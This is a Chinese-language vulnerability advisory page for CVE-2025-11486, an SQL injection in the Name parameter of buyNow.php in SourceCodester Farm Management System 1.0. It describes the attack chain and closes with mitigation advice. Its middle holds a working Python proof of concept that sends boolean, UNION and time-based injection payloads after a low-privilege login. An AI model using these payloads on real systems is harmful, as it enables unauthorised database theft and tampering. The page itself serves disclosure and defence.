IPBUF安全漏洞报告
English
CVE-2025-11486 CVSS 6.3 中危

CVE-2025-11486:SourceCodester农场管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11486
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Farm Management System

相关标签

SQL注入SourceCodesterFarm Management SystembuyNow.php中危漏洞PHP网络攻击CVE-2025-11486

漏洞概述

CVE-2025-11486是SourceCodester Farm Management System 1.0版本中存在的一个SQL注入漏洞。该漏洞于2025年10月8日由[email protected]披露,CVSS 3.1评分为6.3分,属于中危级别漏洞。

受影响的组件是Farm Management System(农场管理系统)中/buyNow.php文件的未知功能模块。攻击者可以通过操纵该文件中的Name参数执行SQL注入攻击。该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需要低权限认证(PR:L),无需用户交互(UI:N)。一旦成功利用,攻击者可以读取、修改或删除数据库中的敏感数据,对系统的机密性、完整性和可用性均造成低级别的影响。

该漏洞的利用代码已公开披露,攻击者可以远程发起攻击。由于Farm Management System通常用于管理农场运营数据,包括库存、销售记录、客户信息等,一旦数据库被攻破,可能导致业务数据泄露、篡改或丢失,对农场经营造成严重影响。鉴于漏洞利用代码已公开传播,建议相关用户尽快采取修复措施。

技术细节

该漏洞位于SourceCodester Farm Management System 1.0的/buyNow.php文件中,具体存在于处理购买请求的功能模块中。漏洞的根本原因是程序在处理用户提交的Name参数时,未对该参数进行充分的输入验证和过滤,直接将其拼接到了SQL查询语句中。

攻击者可以通过在Name参数中注入恶意的SQL语句片段(如单引号闭合、UNION SELECT语句或布尔盲注表达式),来改变原始SQL查询的语义。例如,攻击者可以构造如下payload:

Name=test' OR '1'='1

当该参数被拼接到SQL查询中时,原始查询的WHERE条件被改变,导致返回所有记录。攻击者还可以利用UNION SELECT语句读取数据库中的其他表内容,或者使用时间盲注(如SLEEP函数)逐字符提取敏感信息。

由于该漏洞需要低权限认证(PR:L),攻击者需要先拥有一个普通用户账户才能利用该漏洞。但一旦获得低权限访问,攻击者即可通过SQL注入提升权限或直接获取数据库管理员权限。由于漏洞利用代码已公开,攻击门槛进一步降低,潜在威胁较大。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统为SourceCodester Farm Management System 1.0,确认/buyNow.php文件存在,并定位Name参数为注入点。
STEP 2
步骤2:获取低权限账户
由于漏洞需要低权限认证(PR:L),攻击者通过注册功能或购买凭证等方式获取一个普通用户账户。
STEP 3
步骤3:构造SQL注入Payload
攻击者构造恶意的Name参数值,包含SQL注入语句,如单引号闭合、UNION SELECT或时间盲注表达式。
STEP 4
步骤4:发送恶意请求
攻击者通过认证后的会话向/buyNow.php发送包含恶意Name参数的POST请求,触发SQL注入。
STEP 5
步骤5:数据提取与权限提升
成功利用后,攻击者可以读取数据库中的敏感信息(如管理员密码哈希),并可能通过这些信息提升权限。
STEP 6
步骤6:进一步渗透
获得更高权限后,攻击者可以修改或删除数据、上传Webshell或进行其他恶意活动,对系统造成进一步损害。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11486 PoC - SQL Injection in buyNow.php # Target: SourceCodester Farm Management System 1.0 # Vulnerable Parameter: Name # Author: DrNbnonono import requests TARGET_URL = "http://target.com/buyNow.php" # Step 1: Login to obtain a valid session (low privilege required) session = requests.Session() login_data = { "username": "test_user", "password": "test_password", "login": "submit" } session.post("{}/login.php".format(TARGET_URL.rsplit('/', 1)[0]), data=login_data) # Step 2: Exploit SQL Injection via the 'Name' parameter # Payload 1: Boolean-based blind SQLi to verify the vulnerability payload_true = "test' OR '1'='1" payload_false = "test' OR '1'='2" resp_true = session.post(TARGET_URL, data={"Name": payload_true}) resp_false = session.post(TARGET_URL, data={"Name": payload_false}) if len(resp_true.text) != len(resp_false.text): print("[+] Vulnerability confirmed! Boolean-based SQLi works.") else: print("[-] Could not confirm vulnerability via boolean-based method.") # Step 3: Extract database version using UNION-based SQLi # Adjust column count based on the original query payload_union = "test' UNION SELECT 1,version(),3,4-- -" resp_union = session.post(TARGET_URL, data={"Name": payload_union}) if "MySQL" in resp_union.text or "MariaDB" in resp_union.text: print("[+] Database version leaked successfully!") # Extract and print the leaked version info import re match = re.search(r'(MySQL|MariaDB)[^<]*', resp_union.text) if match: print("[+] Version: " + match.group(0)) # Step 4: Time-based blind SQLi to extract data import time payload_time = "test' OR IF(1=1,SLEEP(3),0)-- -" start = time.time() session.post(TARGET_URL, data={"Name": payload_time}) elapsed = time.time() - start if elapsed >= 3: print("[+] Time-based SQLi confirmed. Server is vulnerable.")

影响范围

SourceCodester Farm Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)中添加针对/buyNow.php文件的SQL注入防护规则;2)对Name参数实施输入验证,仅允许字母、数字和特定安全字符;3)将数据库账户权限降至最低,禁用敏感系统表和函数的访问权限;4)监控/buyNow.php的访问日志,及时发现异常请求;5)限制/buyNow.php的访问来源,仅允许可信IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表